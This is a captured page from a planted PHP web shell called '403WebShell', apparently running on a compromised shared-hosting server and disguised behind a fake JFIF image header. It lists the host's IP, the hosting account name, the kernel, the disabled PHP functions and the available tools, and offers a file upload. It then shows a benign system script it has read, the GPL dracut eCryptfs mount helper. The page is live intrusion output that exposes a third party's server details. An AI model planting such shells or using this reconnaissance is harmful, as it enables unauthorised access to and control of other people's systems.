403WebShell

�� JFIF aewtgwgerwasdasd403WebShell403Webshell

Server IP : 147.93.80.58 / Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /lib/dracut/modules.d/98ecryptfs/

Upload File :

[ Back ]

Current File : /lib/dracut/modules.d/98ecryptfs/ecryptfs-mount.sh

#!/usr/bin/sh

# Licensed under the GPLv2
#
# Copyright (C) 2011 Politecnico di Torino, Italy
#                    TORSEC group -- http://security.polito.it
# Roberto Sassu <roberto.sassu@polito.it>

ECRYPTFSCONFIG="${NEWROOT}/etc/sysconfig/ecryptfs"
ECRYPTFSKEYTYPE="encrypted"
ECRYPTFSKEYDESC="1000100010001000"
ECRYPTFSKEYID=""
ECRYPTFSSRCDIR="/secret"
ECRYPTFS_EXTRA_MOUNT_OPTS=""

load_ecryptfs_key() {
    # override the eCryptfs key path name from the 'ecryptfskey=' parameter in the kernel
    # command line
    if ECRYPTFSKEYARG=$(getarg ecryptfskey=); then
        ECRYPTFSKEY=${ECRYPTFSKEYARG}
    fi

    # set the default value
    [ -z "${ECRYPTFSKEY}" ] \
        && ECRYPTFSKEY="/etc/keys/ecryptfs-trusted.blob"

    # set the eCryptfs key path name
    ECRYPTFSKEYPATH="${NEWROOT}${ECRYPTFSKEY}"

    # check for eCryptfs encrypted key's existence
    if [ ! -f "${ECRYPTFSKEYPATH}" ]; then
        if [ "${RD_DEBUG}" = "yes" ]; then
            info "eCryptfs: key file not found: ${ECRYPTFSKEYPATH}"
        fi
        return 1
    fi

    # read the eCryptfs encrypted key blob
    KEYBLOB=$(cat "${ECRYPTFSKEYPATH}")

    # load the eCryptfs encrypted key blob
    if ! ECRYPTFSKEYID=$(keyctl add ${ECRYPTFSKEYTYPE} ${ECRYPTFSKEYDESC} "load ${KEYBLOB}" @u); then
        info "eCryptfs: failed to load the eCryptfs key: ${ECRYPTFSKEYDESC}"
        return 1
    fi

    return 0
}

unload_ecryptfs_key() {
    # unlink the eCryptfs encrypted key
    keyctl unlink "${ECRYPTFSKEYID}" @u || {
        info "eCryptfs: failed to unlink the eCryptfs key: ${ECRYPTFSKEYDESC}"
        return 1
    }

    return 0
}

mount_ecryptfs() {
    # read the configuration from the config file
    # shellcheck disable=SC1090
    [ -f "${ECRYPTFSCONFIG}" ] \
        && . "${ECRYPTFSCONFIG}"

    # load the eCryptfs encrypted key
    load_ecryptfs_key || return 1

    # set the default value for ECRYPTFSDSTDIR
    [ -z "${ECRYPTFSDSTDIR}" ] \
        && ECRYPTFSDSTDIR=${ECRYPTFSSRCDIR}

    # set the eCryptfs filesystem mount point
    ECRYPTFSSRCMNT="${NEWROOT}${ECRYPTFSSRCDIR}"
    ECRYPTFSDSTMNT="${NEWROOT}${ECRYPTFSDSTDIR}"

    # build the mount options variable
    ECRYPTFS_MOUNT_OPTS="ecryptfs_sig=${ECRYPTFSKEYDESC}"
    [ -n "${ECRYPTFS_EXTRA_MOUNT_OPTS}" ] \
        && ECRYPTFS_MOUNT_OPTS="${ECRYPTFS_MOUNT_OPTS},${ECRYPTFS_EXTRA_MOUNT_OPTS}"

    # mount the eCryptfs filesystem
    info "Mounting the configured eCryptfs filesystem"
    mount -i -t ecryptfs -o${ECRYPTFS_MOUNT_OPTS} "${ECRYPTFSSRCMNT}" "${ECRYPTFSDSTMNT}" > /dev/null || {
        info "eCryptfs: mount of the eCryptfs filesystem failed"
        return 1
    }

    # unload the eCryptfs encrypted key
    unload_ecryptfs_key || return 1

    return 0
}

mount_ecryptfs

Youez - 2016 - github.com/yon3zu
LinuXploit